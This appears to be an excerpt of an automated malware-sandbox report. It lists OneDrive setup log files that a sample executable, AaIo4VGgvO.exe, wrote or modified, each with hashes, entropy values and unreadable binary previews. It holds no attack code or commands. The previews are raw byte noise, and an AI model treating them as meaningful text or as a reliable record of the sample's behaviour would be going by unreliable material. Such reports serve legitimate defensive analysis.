Preview:	1.0./......OkD3x..`..e..4...`H"..N.2.d.x.e.th.4...mH[..j..i........!..aN..=..v`.<O.._.......I`.B$.....s.......]...lL.....dX....$.kK,[.....^-...K5L...4c...>...5.IS.bi.{c.....9.l.\|..x".<.....az>_...J4...B..^C.VS./.D.\.....t&..k.]`V......n....ci?@..T..6[...$y^...J....E.?).-n>.L...-....a.Dw.Q...n..)i\u..K.....R@$.i........]8..=.!x.~......D+...Y..A6h.....;......l....%.O...1...Cfv.L,^QO.ivQZt....../w.U\F.....OB...W.'...v.hJ.;....?.mI..e9......gV6.M.^6:..B..J..e..'\|.Up.&.>.m.iV....C..;..g.eR..U..0jzL.e..@...u.7...D..g.H....H..\|...=.A...4..z...!.. ...(......._.J.f......r..)...#g...X.9......}9....B..m..L.........M.j..{...?L<.l.a.L..Z7....0..8..:h..aJ.t..5..m.b......P...s..I.&.6.iU.@.%\|8IJt.l_...\`\J.l.p(.K..~Q7.]L.6...}n..)kq\S...-.r..../.....49y4..a~..#R..u.l3...X.Nb.\|..pq.r+....!.g.. dP..o.\|....>?.50A...V.S....PmL....=.Q.X.S..E9N.)7LJ.R#.v..E...7cx1..~.c..[p......x>....(F.t..;..Uw.;@y.-w..?g.b7.>....Zk..q9rGh..b."T..?..'[..of...y....C.P..7

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.629254314438445
Encrypted:	false
SSDEEP:	3072:7et7CvBhzqGX+Aw6LF118vgUb2oTX3PP5Tc9zH:G7CJ5XJwe12gq2eTG
MD5:	6F38AB218D2AEB7D3F642AB2D1441B54
SHA1:	4E701C5F6CEA5E5F8C6B8369AB372B0DA14D66BB
SHA-256:	620FBCBB49633627F862FA0364A74AA83EAE5B72453C73D254CE53708A89A4FE
SHA-512:	4E4FE06C0F94287FF2B4851FC59F29CBCAB7C33F638B0055DF424740236AB5E749734A0EE52A6EC4CAC65061365F543AFA6AB7D3ABE1CFF1B16FA7E71927D145
Malicious:	false
Preview:	1.0./.c..Ek.`u.....P../.....Y.S.N).[.>NR.4T....3.=X.).........?.V.W>n!...R..j...pu{..e.O...i..k.>hU?..O..!.\|.?...r....UD..B?....q.G..(..Qv5.7......v..>.3..xD....'\n..<.U......l.......a..>...Vt...uq.$.....b:....Xz..(Q..hi.4...Z...9....UW\]...1...~.........E4..n...........&..~..N.z.._T...e.=..{..,..-8T..,.....'.M.RI{.?.........h..0.....jN.@.T...P_.=.&....C...Ja.....t.+........Q;..L<.N......J.........Vv. .4b.b..M.\|........$.B76..Ia.'5..b{..9......a^k..FO.C./.-0.'. ..T.20.B..#....KO.M..j.+.......X.K....&>...W....sR<.....T........j.V..g/.,....[._P:.C......r)3N.._`d}.@.=.l?x.:.#...!.6..c......<mc...J...wa-........,+...KR^k>.C.~.;.i5..5....~9Ox.....#.....f..p."+..-:..0.x.A...5..."...?......j.....o......IW..G#..j.LpLN+...m#...[.qx\|...bq.]<l.......+..<)].Xv...y.t..r.9 .1.f..C.p..,W...........ta.6......nv[?..c..t..E>o...nC#...-[.;.X.../]R8.Q.n.bU....#..LR.u8n.uD........l.`.n.....D..y...J....9q....}`...:G.\|ij.....D 9..2pa.t&..h._.{D8..S.I8

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1004730254531103
Encrypted:	false
SSDEEP:	192:HTMakBhD/nxwyJSbUHjX+ZWVoBDL3HtCyXwPw4aS/PQyEa3feto:H4yyU8XbSp3NCtw4LPJEavB
MD5:	639EDB083E427FFA27700094D4E84762
SHA1:	633C7798329DE2F29DB6DEABA6688366481A8F0F
SHA-256:	F9220F54721A772C114AA72D8D8FA1FF00F22894D1741CFF73D3E6F7286B71F0
SHA-512:	2D81B590CD19B5791E09BBE67B68E429B399375F27C6C029A178056848EEF51039AAE20E618F9CB5CA3365A7A625A7E0B65714DAD35396B83252AB57C5C5F4E9
Malicious:	false
Preview:	1.0./-...l..Ex=0..#?y.. 5..N.).).8....<..........)...{.n.a.....yN.x@.CeI.(...7U.../m\|.3....EI.....lk`.(.....\... ..\..u.x..cs.].....&h...}.,9..W...ZyV!.f...P\...i.r.>..K.d+(3?WZ....E...]......@.;.6h.oH'.Y.G..wZ.m:.L.-...C$'r...p}.T..._l.HU..C..J.Z..E..P1Q.....L..X........Q.`..E.5B....=E.p.i#.-5.u..........m..7.f....k....].j..H.4j\| /.. y'...-...EW+./....3..C...wc......B..............M.X.....,.:..[C........U.X..).C\|..%.r#.F.tZ`.1.q.`F..O~...\|.a\..\|..d0}Lc...Q.}...&.G.^........ZZ.Yg.W.g.R.i...az`.P...r< ...../.?....X6.].....pXb.xZ.:....2..M>.'S!.n.}...+B.V........\|/.3S^..hq.@...\..9..+....5...B:.E(.B.O.,..L....:C.s..9....(.K.d.....?ji..K..h.F`.......%.._.....1M...d..l.W..6.h...p~.'..DA.Sae....{.-$o.-..o.,.{.Y.....f.^3....E.%#FQ.S.l_-.../F.....N.........i~.....V...[....Y.u...wca'.$n..:..w.....m..F........`....z...Os.H......,...t.jU....M..+.!c..m..@...M8G...Ql$*..l...:...w.4yY4~.P.5./..k..p.h6..]y....N.....E.huZN..%...w.-.O..=gi?1...Ht.;.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9659450635284927
Encrypted:	false
SSDEEP:	192:3hnqAFX946HZG7G3HE+WSIBIno5CdAkJm7JxzJTx:3hqm94+aG3HroH5T
MD5:	2299E3C719BDC2D94EB6C5420E24534C
SHA1:	0D021138037409335BA476DF4A3AEF020F1034FB
SHA-256:	31AFDF19F6A9B42DF0F45D5C631152AE7FC7BF283419A24FEFFD7D829E6F0F74
SHA-512:	18328E41337BB48A7D7E38D36DE163D4EFB2DC69A92101CFF60CB01087B389F612642A2E58162DA561469F4B6EB4A956806C2725296A78587AD6C898EA66D4E9
Malicious:	false
Preview:	EBFGO4e..$#...w.^.:..i(...fs&C.d..U.JLNG......x)..........2_.S.../.9..z.:.j....J.W5...;...}...O..Kn5..@h..S..;....D.l.@.bp=......W..@..c.:o5}...,..D...x.....6..R.$Q.>w.\|C\|...Y..H.Yw.q.-=.......POD....).x..;.B..d....#.Yq.......5/t..(....'..."....&k...[$i..5..yQ..E. .<......OP^.6.....=L.Uv]...K.:.P/.xi%.O..s{..n&+F.v.<....<..w.....]4..b.........P.Q.5M..t.7.....<.=+}...U.ge.....T(~.V..Z..... g...!..<M..I...u.R.W\|.......I.....x..7+..\t..r.p..D.<.<`..f..Q.1.Ht.....I...c.L..+4.....?i....-Xb0.q.....[.a'../........o.":W.4...Tu.6P...:ST...).8.R.Y...l.)../.3r(7..#!..+...D......N_.qQ.+......z1.&...8..y..o..\}X.i..}.V.o+...8.9.E}....3....d.U...os...\#....zAO.lg.R....g...7..t......a.n...!....%.q..#..\:.(...5h4...8.#c...U2.BM..2.c..s!g.E?..(I..l.'OO.<..,.-^......x...D.....c.ob.?S..........{q...0n...v._PA.a@H...0..........'!s.6H..........D]pKZ. .....1<.Sl.dF1..8..c.T ._.:.....7e............jU. .\....$?]..`+.X.+G.\\...Z.0.pi<L.*...X.4..\4..@....Y

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5611926515224148
Encrypted:	false
SSDEEP:	192:gap3J2kp76ArnsX2cyHXrnj0RFpYjz1AAdAg07MVgir:ghkp76AtVTj+PYjJAA3hd
MD5:	807E0F0906594F23B82A09140CC0AB08
SHA1:	7631419E933FA400E915C8A02912F66C6B55FE22
SHA-256:	CB5CF78B0D54889FA997F35E4B52FC3503CB9D2C09AB3D978559DB17ADD6E2C6
SHA-512:	F25E7E6FF34614EBCD6C27106C05CF5116E56F467805A6939080776015EE825696AEEEE4792A317CE88C22A223B562943A7137F67D6B5F7957E9968476BBB9AD
Malicious:	false
Preview:	EBFGO.l..T.wE..#.Pc.lbz..5....C0.^..1....#..R..PV....gIPN.....?xbm Xj...........vc\{.8.8..f....v].fM.......>.l..X..%;F...N0s...V.I....Z...`......j..f."z..<.<....[. ...F.`..z.L..x.U1..L.vT......C.R...."%0.>Q...<..~........).....(...\|..2.Mg....z5.q.....8.7..LP#.2..@(...K....0.....H....1.;;..y0..a.....z...z..\|........._B.......i..,.. ...9 &:6.P..(....jA...RXZ..m..D.....u...O.1f>M..$I...."}.?`.&......U...N..IAH..{po..,..%...u....vug.(.a.SZp.S.....z..Q,.h....i..a..F.4...S.....,$. @..2.\D...9X....E..>.L.(..2#.t..U....mh.,.5E.....B.-......V.....^.]..jk=v.....F7;.9.....1.B..(..q..H.......C..2.7..Q./.E.]3[J:..b7.E.\|..X......i{..\ ....~..l.a0..Sl....9..5.j.`.....c..M..@......B..\|i.o.......,..J.\0g..<5V~k.M<...........1:.@r.J...P....>..."..X..A.:..j...BO.......g.L..e..........N.d..<..o$<..9{.Y..4.{.g......u.."...@....09..).O...f.E...8..E....g<.:;.0.7....M.P...?.>..~.?-.>8...x.2....5..N.d>....9.Y...*.....sX.a..... .v........:..>s..I

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8651342848229173
Encrypted:	false
SSDEEP:	96:dzQKT7zBcuAJAHyZvvyjmjpeQUq0wpa/GpFCJJutccZzV8nSAknR:dsC7zBpSSmjphUqbauFoa1ZzV8ns
MD5:	EF3446C2B9BCAC755DF1CA2E24FB92AA
SHA1:	91D053114BB3DD9827E962A6088F30DF409F4133
SHA-256:	21647F0B8C2884EDE2A47B1963E47A1BAFB8BD6813DAE4EEBFA944F5CCFAE252
SHA-512:	219E9D3913E27D18DCD83DAAFB33D6EE6E8A3CA8B4D04F58A5C0A8DA489A3724881C6E4AC54E9AD18DD345D31C67F4B92E9C0A01CC5CF5F4AF105C2493EA1347
Malicious:	false
Preview:	EBFGOI......_$.:..M...Z..N..Q.j..w....C#0nEl.d.4e.\|^W6^........Z.l..T.~...b..;.b...<C...j@.5]pFrc.A.E.......K.>..9`@...H...M..[....=.'...7..W\|W!kMN..E..0.Lt..W&.'.....K...M{....c.5........e.{H...cc..W...g...b$.?d.b.m....u#..Z..3B.....R.........$...2+.....E......s.\.'.v..@.4...H..+.....=...q....E.bErH..&.L.".0mq~x.].=.R.XG...Y....$W_.].N...-..".>x...Z....n!.._..]..\_+z..2/j.FtKQ..P...;....\.....AY.r....P...l.vT.k..M.....{..:.6...&%.O.^....#..l;,mT.="...8.O......&..^.w[ ....XA.)1[...=....rx..$itM1.V.u.235.......k.....L)...d..WL +F,..r..v.. .D.l..Q..1<...S..._.~.]n*zH.\|Q>.R..44u.3..L...5)9..W..FxM.Ai`y}..+.K..9.JO.........g8K..7...'....b.......C6..0...t.....G..SC......e&.W:.\C..,.._....I{.B.K../.`]..u...v.ZA..Y.3... ..f..y.K........0.p..;.G..x....7...<a.XM..!.4v.......(.... .D@.{....H>..L%.....S....dq.%..S...;.....67.(...1.M.u..'...o.h../.(..w.c.0.\..iW.q.....F..o......!...A..<.x.0..p..Qe.)n+`O .qi..Rlo..........<.;e..HLSZY\|.......,...h....^7.{.^.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20576115308199178
Encrypted:	false
SSDEEP:	24:+M+gCzH0129D0guzYWJbXInm/twGz2gXsiH2L6Q5bz:83H0E+YWJzInm/twGzVHH466z
MD5:	47D71742DC2E29BC1CA90266BA8D92AA
SHA1:	53FFEDC41AC9F79B36B51DE7DF1F54BF6281E3C6
SHA-256:	27CF9CB11D9AAF29E9B2064197C3E5E035CDD20C050FDDBE4C01786D6E5F3EAC
SHA-512:	3A3E5F27CC1BE520E18C034A933B5C3D163AF352E5F8E31379EE549082F910B79640AC9172CC4E4AC955AFB551FDA84FB027EDCAFF83E6CA57DFFD7D039BC91D
Malicious:	false
Preview:	EBFGO.#+=..w..g.J.4m~..........x)%.R.4.6.]....gS.v.L9.,C..aK.9...i..f.};......;).%N\|.i....}c.x......A..<....9.;yX...b..e.2x.W.:...T..-.>.,.%..x..i..+.b.IW.f.n9..O....^.2.}..PaU 4...D..T..-R.1...2..)...v.@....z....+.Q..J.i.....X....na....#.zk"H...+......K..}f.....%>.j..."...i.........c.1W.....G..Q........).).e..Z.....yq........HR..z......e...}..e..[.B)......[.o.5.v[S...e.A.....j...Jj.....T...t.lgK.!pK .B..K;^...I.1lI.;6!.....Q.i.5..e.............`#r.R.F.p.L.lM.4J1.r..+.T1N;H...-_7Fm..4.UE.9.A.rP.JN8...K.Z+.t.;......ce./.a.& ..B............9sd^.:i.3......5.....j...F.i$%i.[\T......~.U..6x.Z.V...g.Z.s.................r..{L..y..E.l....j.t.e.&..:..7..Jan.0...(.\$.,../.Xc.3...\|..T.z.hq.`...w[..I5..a..Ad......s.....GFli.].i.......U...k...ik..{.#....c.],.W.n,^^...1.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.455030690066909
Encrypted:	false
SSDEEP:	384:EqsoeD/pki0T+P58e7eTy92jFtdV342luXleEhttwMpuELMdafKvJDF:ECeGc58N6OFTLqb/puIfK
MD5:	05BE5187399F0B3CEA0E227244342902
SHA1:	2EEB61DBDC2DD769FDCBEAC202B868B170457F08
SHA-256:	070099DEC8A4A27AC3FD162D815E4F75698BBA1DC40BE48747ABC406BC1BA7DC
SHA-512:	314626328FF388D8F4BE6D12012F5DCEDD0D4A957C65C59DF3C1381BAAADFCC2C3000B10FB869740AB40A9C898407C6DAED7C14F27601C654406232DC8278D40
Malicious:	false
Preview:	1.0./.....O..12:..C:.v^..^.x5..@.p\|...d).4.E{kP#..'Z.q..U...fr..E.6..Ib.........s.x[y.<.....!....0...-...c.....z....[..3\|UO.O....Gh....l."/.!.$..O..4...<2v.<=....c..emwz:J....La.t..D.D\..+R.a..r.b..xTk.TC;.y...+...A.......p....U.wa=%.5`L...l..<j.......C...7.M?..5iWH....U..jR...S4.._,.s \|l.!?..6..GN...vo:O..N5.....-....+Uo'..F.~.....ZEi......JJ..\.hF.w.2^3.?.`...+..Dm'.g..Lo...J8.....z..I.3$...y..#.b./.)F?&..Y....G.l.)...)T...ln.Og...).h...E5.da............G.....TrJ/............(/...=....M....b@.W.(M.0.o>..E...wD..V.....$..LE...\.4..i../..b.0..8]...$..Pa.......`....j5..l...@...#...b.u...2.R4g.".Y...yX.z../...\..g..'L.....,..;2.&..d...{Z@z.-.s.L..2.M'.L...+3L.2.....]y.....c.....d...8N.P...u.,`8S......2l....O..[3..[M"7..D.Ht....9J.N.p#.IQ%B..-.vG....Q.G...xlg.0.M.I..+...+Z3@............(.D.*~;......:Z.....S....:...{...3......-}!...lr.Mym......v..?K4j..m.....<....Fr@[(@.Z.........R.,0..V.J.v.W..~..0.~..BH.H..&..\|..s.^....._.sB.U.A..`....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9398241919450696
Encrypted:	false
SSDEEP:	96:aTcbzdVjQjikgmUMtfjb76sL8EIR0rCQA7hKRMxaGsE:awFJVMtfjq3AQNKCcG
MD5:	E986E117A76D952425871B10DFA660AD
SHA1:	ED6FB79FB4D16EA69A7F3E46178DEEF920B3A275
SHA-256:	AA0F22CC0A2D24D68F846BFBE41A13C268542C761AFC5B91BEA5271F652FE577
SHA-512:	00CA3CAC1535AFF1B090B7EBB6A0A2ED83073DB66D838536F916F58D56BC692C91AE417ED9ABB13845C8A2792E1FA3E5B603041104180005EC094937049BA76A
Malicious:	false
Preview:	EBFGO.\8{A.O....8^.Z.?w.W...T.c}@, .....L1.......4\.uL.1..N..^...;Nb...9....}......9I...a...>...-c....z._..%d.._...`# .\|.z.......5...........q.. (Y.....;...j...s..\....K..y..A...%...-.....~..y`...bAx)...Q..x...Ks5..z.`YY.%......t.>.iR:{e..RH.._..c6....Q.T...o.J..Y......\|..%q.F".x8#.&.....J........`...hf.wm..{z.Td..s.^...=......\|.J3Fy%...b.@i..;.O.zG.y4..-...T......W.X.v...H...,b.a..W..C.LE...r....\=.8"V,..z.:M.j.;..".W.W....c......E9.9..L.T.r..}ex$/8..?\|..J.....$1.C.x.....R...<.........M3.p.......0).i".X...........1.^...Y.w<:. ....<.....Z.:.L%.......m.....T\...$X.N. .7..t...>1.].cA.C....@.$V.i...O...M..\|..t.T.^.P.j..$....sQ"..P.~w..Sg..^...<...CN.....i=.+.tM..q...H^I../]za. $:.H..U..a..n....C.{..B....2....u...@?o.#t...X.8..o..F..3.r&k.....I..@........'&W..eM.....H.UG.C..Fb...{.)}?..7[DZC.R..W.wM...c.=$/p..@............l[~$.}C.... .......Q....b.De...h..Lg^..K.&....h.....g...\Tgkk.@.;t.....+.a%...y1P...M..*Q.I3..'].V....^T(..q(#..U.[.C

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20607873903023563
Encrypted:	false
SSDEEP:	24:fcAhK4FAls8gOpQSXaYlV+79CF/X70UUZ4bz:Dh0ls8guaIXwQz
MD5:	2F4405AFB02BFFE3C327D7D7F644A11B
SHA1:	B0BB807A7251149708B2A5DF9835E3D7D91A5098
SHA-256:	180A0CE70389E99C909F8D679209584F5D8450A77631B0E44C5CD4931E97AE99
SHA-512:	3940CC36F42E4CA9C4AFAA38087685BE3A10614ABD0F96429FB28EEBD3CE70A513415B0E7CB80FD5594B89F010E62AB8A1B406CD46F28D423A1E516FF6A1661C
Malicious:	false
Preview:	EBFGO.I..@..{x3...3.$A.m ...%.Dr..l34..xq.)[.39....!s"(&aV..! @.?.K.....w@VsO.=....M..M.j.dbYr....6.}0.&b.w.....\.t.S;...`Pj...K..V$.#K.......P... ....H....k.K.!......{.m.-..{...._.$...`..?...-......+p....l.qVI[....x...&..d......d.....st..X...k.;..W1..c.rz..=U..-..B..C.T...hX.Rp.Gj.g...kE.....O...%.v.J. .....W.Q.".h6. z.......c...8....j..t.Lv..D.++......H.'0.\|....#_.\|.S..UX.....A..S>h._..<.........4.f.....s..8.....%.....t..Q..c;[./.o.(.....0.._..P>.....o.._.R......^\|.\|/..R..1.4...I.$S6B.b}yVS..^.#/.W.-.s.I@h.O...}...H.yQ..g`. ....KE..m..y(8...M.U.N_8(sD.V......F....`.f)6.$.h[.....jV.y.G.....>..9x..6vr.!!$Q..\cmW...L.e.WY?...m..r.U..s>U..........{.......F.*,.M.1.w....e.;#$.....\|....7;f.h......V.oo}9..N.:....._.c...Y.W...[.....f.w.&..Jd7..K.p(....0n..SSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.891533380417339
Encrypted:	false
SSDEEP:	384:vXg/qQDicg7GgQqJbPR4Gg8P8C0Qi+UgQDJ3GI9UAiOsMnt4VG:4XRg70+43C0QZ9ytXiOsMnqV
MD5:	74578FAE0B2373CC53968CB9AB3936A1
SHA1:	F5CD59EF76FDA25EE5654AC3FFBF585C69A64240
SHA-256:	7A79F187377134F22B040268815577FBAC50D08749DD09D55B212632BCBD5DB6
SHA-512:	21184346E2F84CE589D82F53F99536C058B0EA7019E57AFA83975C69412CBE0BB0EEF70A1DDB279E9728F7E07718CC64AB9897434905AC011C4B642598D4D854
Malicious:	false
Preview:	1.0./b...o....?d.Gu......R....gvW\|XE.K....'2Zb........L...6....W..b..Y.r+......V..'U(..2..0e+..X.L...g!.v.T....v.\...{.o.Wk..i.........J......../.d.."%.\|..!..R..-.v-..~..7.0..}.s\.%.R..9...T..kLfA.A..q..y....#r}.~......u......R..........B...>eso......k.u...WQ.V...Y.._.3y.z$..u.[......A./..2......k?....=.M$0.T..+..D..l.]).r"4.q...d...JX.j.g.........pGr<!Owk].s.X.J......s.8.... ..D....~....[..C..;..t..J.nY.Xk....q..%.8..{.)...z.<....._..!3...l......o4r^....NJ...}.np}S..#...\|..d.332bz1.!^`u.F..c...`...X.....S....^.....9A.?d.c......`.T....M..^......d.%.(.,.~^_...4...B..x..N..g>.(...$fl.......y..QH...*C...<.7..g...W.o...:..T;..~[.gK..8.@.F....ZT/.t..f>....l.x.+nwL.3..%...b.3^..K..g...K4}...%G...r...m2l.e..Q.4r.`..;...q_WF6s.6.zJ...C...Pd....[.>]D%j...w"?>...c&.=..).^)..D...9.p'.V,..$..w).j...1.E.....^......J.C.i$0..!".....~.t.......X"...&8>.,.W.......1......b.....+.].../...E.@..XG..b.j8............^.....].....a{.t..vZ.......@....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.413238997168068
Encrypted:	false
SSDEEP:	768:CYB9iiyUQTjx0JNuzVrOyQlOeWcy7QQM39DmsH:Zjii3QTjx0MQlOeWcyo
MD5:	C209A926E1FAB9BCE724B69E21837A7A
SHA1:	F845833535C8171396968B291B7168555C5CDE69
SHA-256:	4A7CEF604D8E6B7E4FF96427A32744EA3E66728FD92E4668B014F562AC755DF6
SHA-512:	01F03A34571616FC201E2FA03E9CE89793DC8D5CC706F137E7DCBAB5A55257431A94B5446D8AB6799031A467409D07C19C1ABFEE4DB9EBFE78507E3FEB7C1EEE
Malicious:	false
Preview:	1.0./...tBp.".`.J...tM<...-..ANr..U.Z...8....<......=V...<......,.}.:...>.....:s.J.......=....7......?i........B..x.zc..o...I.k0....u]$4...!O>......Y..M..W...N..a..&5.....0..eH0.Nu...&B.G........11........u`8.........6VE.q..L...I+..%...=.. AH....(:...VW.A....:M..F.N..{...Y....c.../j....\.........9.$...P....&.n....}k.....k8.....<.~......eV.%u.#..._.h...#.j.'..S.....S.u.jo.e.k\|...;..U..%.Q.1...HP..i...p:2.xr.Kq6.(.{...B..4i.8a..J.d.3\|...8t...JX..88A2.....\...oLE...-...g......-?1&8.e.5..n."..1.\|T.9eH..}..JT...Y..c..?C.D#J.x+%...v..........m\|i.}..$.%&...+.q.w..PR...@.[T..Y.>2.%><.P.fx...T..O.,.dg.>.......FEQ..,\|%...`......h.5........'.}v......T54. ....]\..'...(...........b....)}::.I)....v.(..'u~...u....T...,[...F...BH.;..6...I.....G.W.......w.#...H....W.^.3.......%.cKf<....!Ly.K4.V...W...4./V..>k;%V(....;.L%.Q..)..OO.;J.....`..7.....#..b....5tX'.......[.zM.t.+...q.0.4.O..u..~.\%.m...z.5.....G....V.....E..,,W@Bd..p..q.'f..........4a.'.`T..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.558725149038518
Encrypted:	false
SSDEEP:	768:8u1SbuKyf20vRL4W2ByXbhyGtb14liN6RUZUT3sd7R:z1Wyf5MTo9yS1mP7s1
MD5:	598A752EF7FEA45B988B803BD9609059
SHA1:	31A7F28A7BABA3841D9D61494585CDF5B6A140DB
SHA-256:	AE9FC3EBD1048A60CC152351D948F6BE76F75B9A3D133066B5839DF390D4756D
SHA-512:	A8990A46189C1EA88A590494CA279606358C992F5A33126FB0559FAE9F29325B8E411ABD2EF5A076E3062587F4C35FB47A59A5989DD725CC92F7E08F7ED04119
Malicious:	false
Preview:	1.0./...z.~....n.3.o..A....vF.]uY.,.#.K.....s.4O.[..\|'.B.,.F......a......W.C..3P..1.od...ZB..M.z..:..ve...%..kp...(.z....<..W.....u,M. &..v.q.QCb....]..0 o"s..".W.A...n.z.$.R..G...\.s..!Sr9.{Q...F........mO.b6.....@....n?J......X_.Tg$.6v.9..d7W..!..\|.?%`....{..........7...\|..n.F_.....2..gj.3".@u..W@..h.N.Ic.f.K...q...v.1!...Q....h..r...t..a....+.#..l..[5'.nj..mY...a.U.'....rz...i.;.bd...L....s..GYqT=.}...U.......iU+`.)...(.._..P..T..3......)...6/.v...v..{A..rs..,..m.4...5....2.7..5.;.8`~......1.c.j.A...!...k.X..L.&..(......~T.s.\|%..V.8.._ .eL.=H........]..%......T;j9.B...4.}<....&T..).......20.H0.K...6.B.RcE;.P.}V.....Ch..rz8...G. ..............\|j$F.....=..tG....9..a..@.9.....u._p._..5ghpM.....WBZ...Z.-...\.k....W..t.......e.....,.z..e....zY.Wj.T..l.......}v.. :>....&9a....].D5."......:3..r...r.T.EX..5...@.n.o...8?....Z7*.....M...L..$c..AU8S....V-.........Q8.t.L.$RT2.xkPo.0..m.R.......K....>.'..6#.n..d.{O......?..........y..;h..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3136652041169457
Encrypted:	false
SSDEEP:	192:87m2KLfeSEsbxx+gd9ULFph3RwD7TiJYMrGDaRVZdNQoa:lf+sbH+gd9UL3h36D7TiMa5di
MD5:	4A48BC1307417C56DCA20B5858550D25
SHA1:	37A48AB22E6C8D6675E85B2E2BE69472C08E1F33
SHA-256:	673AD7B6F0F441F9E86ABA3DE70F77BD090590BA46EF4BB90C585D20FE1C1A39
SHA-512:	7632D7B8F8D788822EEE9E4A6B41E43520E912466AC4462EC48701DB1F59CEF57789D32BDB4CEC628AE72D5396DE331E282F8C5E136C8DA7C4F4383D37C6DA91
Malicious:	false
Preview:	1.0./$....z.vpw_#....R"`.'.5......Le....+.r.#wqr.O7.t...1v0.w...A.[e`..,..G.....$..aN....YMT~.gLB.5..!5.<C.`.8':f.....g..j.y.4..R.."B.m?L..;..._D....'-.it..7n..{&.7<...`....".rs(..u3..-?-...\....=..A}.r.5vn....a...Y\|4jAcFV..&.X...lj.r.1V.SY?.......$...x.d$U."g..#....}...P$...ej.......s..".PyjijM...."..\|...9..(,S.nN...G.C.G..\|P.C\|.`>..jOc.p......'...V..)..Hv)[..i.>)2.&.O..p^.V.!...@....>%..e.JE.^9.!...:y.@3t.%...2...:t....Z7<..}.#....%.(....1.t..C.......v....0..R..-2......j.R.1..QH...0<fi..8I...R<.........^][...".";oB....+....]{.6..".........l=.:1.*...Z..O8.ZB7........1o.N.L.(.....Ao\|......X...2.z.g ....Y...Sm.?..t...~.............K..p...y.<E.N8..t2/.....e..Yd[.).'...y^....\|....V.&.Ye./G.....+.... ....6.P>z$....U_....?...Z....%4.%...S9cB..p..-f...}h...?.Q:w.:..e.y.D....9f.sCu..R..;6{........?.........A...D.8..s...u6Vj{.w}.~cl.KCj.h.mrF...<.+.....sj!H.5Hc&j..?.;^X.3:lYp..r.......9.3.{K.v..[.w]/&..'.g......#.^.A...w2@..L.;...+k

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5748539985970299
Encrypted:	false
SSDEEP:	48:CQb1uY0CJV/SlbXR7igLGzWH1VQ8eO2OZY+n6fmr7Q6AEMrxp3cNEssd8QaZz:CQMCz/IrVVQ8evX+6f16S1pcNEHVc
MD5:	FE369BCABB7C3F3B1C0B29B234C5E61F
SHA1:	C1EBF3B2A52C65D063C8E99A8617EF48169B4021
SHA-256:	A4EA3D874AA4D5B19B3709D4E107739302EAF3225B2116DAA8C16ECD1F2B92D4
SHA-512:	33AB7F8EE448C659EFE10BF826AC128F59E59EA5802C68BB09EC9CB287E3E502255263B75CAF96FFF340DFC100F56356A1391E529ACD2D8C81D7F2CFE165FC8D
Malicious:	false
